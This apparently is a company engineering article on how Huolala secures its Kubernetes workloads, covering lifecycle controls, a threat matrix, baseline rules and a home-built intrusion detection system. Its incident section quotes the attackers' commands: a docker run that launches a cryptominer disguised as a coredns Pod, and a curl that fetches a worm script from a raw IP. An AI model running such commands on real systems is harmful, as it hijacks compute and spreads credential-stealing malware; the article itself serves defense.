How Huolala Secured Its Kubernetes Workloads: A Deep Dive into Container Security Practices

1. Introduction

With the rise of cloud‑native technologies such as containers and micro‑services, Docker and Kubernetes have become the primary choices for enterprise container runtime and orchestration. However, new security challenges emerge, prompting companies to embed security capabilities directly into cloud‑native environments.

2. Kubernetes Component Overview

In a Kubernetes cluster there are two types of physical nodes: the Master (Control Plane) and the Worker Nodes. The Master runs the API server, scheduler, controller‑manager and etcd; each Node runs kubelet, kube‑proxy and a container runtime.

3. Real‑world Unauthorized Access Incident

A public‑cloud Kubernetes cluster was compromised because the anonymous user "system:anonymous" was granted the "cluster‑admin" group. Attackers accessed the API server via port 6443, created privileged Pods, deployed a mining image (hsww/xmrig‑centos7) and executed a worm script that harvested SSH keys and moved laterally.

docker run -dit --restart always --name k8s_Pod_coredns-deploy-5124333766-2ret5k_kube-system_e279b644-708b-11ea-ab98-12x8fd333dbc2_0 hsww/xmrig-centos7 -o xmr-eu2.nanopool.org:14444 -u 47YMfiGEidNWZdkVZNWDkZj7LRC5MAVLd14i6xYyX2ag4nDvAXDqk8FSDwTmHTyVHnFUVhw6gnApp3N6HfyJFC1F995RSfU -p worker -a rx/0

curl http://1.177.165.231/sd/T3llyz.sh

4. Huolala’s Container‑Security Program

As Huolala migrated services from virtual machines to containers, traditional host‑level threats (web shell, mining, web‑app intrusion) persisted, and new risks appeared due to shared kernel, incomplete namespace isolation, and privileged Pod access.

4.1 Lifecycle‑Based Security Controls

The container lifecycle is divided into image build, orchestration, runtime, and destruction. Corresponding security capabilities are:

Image security – scan for secrets, vulnerable CVEs, backdoors.

Ecosystem security – verify the security of Kubernetes components such as the API server.

Baseline security – enforce CIS‑Docker and CIS‑Kubernetes benchmark rules.

Runtime security – detect malicious behavior inside Pods similar to host‑based intrusion detection.

4.2 Threat Matrix Reference

The team adopts Microsoft’s Kubernetes Threat Matrix (also referenced by Alibaba Cloud and Tencent Cloud) which maps known attack techniques to ATT&CK stages: Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, and Impact.

4.3 Specific Controls

Image security : CI/CD pipelines push images to a registry, then automated scanners (cloud‑provided, Clair, Dockerscan) analyze layer metadata and CVE data.

Ecosystem security : Scan Master and Node components for misconfigurations such as unauthenticated API server access.

Baseline security : Enforce rules like disallowing privileged containers, prohibiting mounting host system directories, blocking privileged ports (1‑1024) unless required, and restricting CAP_SYS_PTRACE or CAP_SYS_ADMIN capabilities.

Runtime security : Split detection into pre‑attack (asset inventory, open ports), during‑attack (brute‑force, shell rebounce, command injection), and post‑attack (audit logs, command execution records) phases, following the threat matrix.

4.4 HIDS Architecture

Huolala built a home‑grown Host Intrusion Detection System (HIDS) consisting of an Agent, a Server, and a Management console. The Agent runs on each ECS host, collecting process, network, and container metadata, enriching it with Pod labels, and forwarding events to the Server, which stores data in MySQL, Elasticsearch, and Hive, and pushes alerts to an IM channel.

4.5 Technology Selection

After evaluating data‑collection methods, compatibility, architecture adjustments, and operational efficiency, the team unified host and container security into a single Agent package pre‑installed on host images, enabling automatic, incremental deployment and unified detection logic.

5. Conclusions and Future Work

Embedding security into cloud‑native stacks turns security into an infrastructure‑level capability, allowing continuous protection as workloads evolve. Huolala’s two‑year deployment across multiple clouds demonstrates stable operation, yet the security battle remains ongoing. Future directions include eBPF‑based monitoring and NetworkPolicy micro‑segmentation.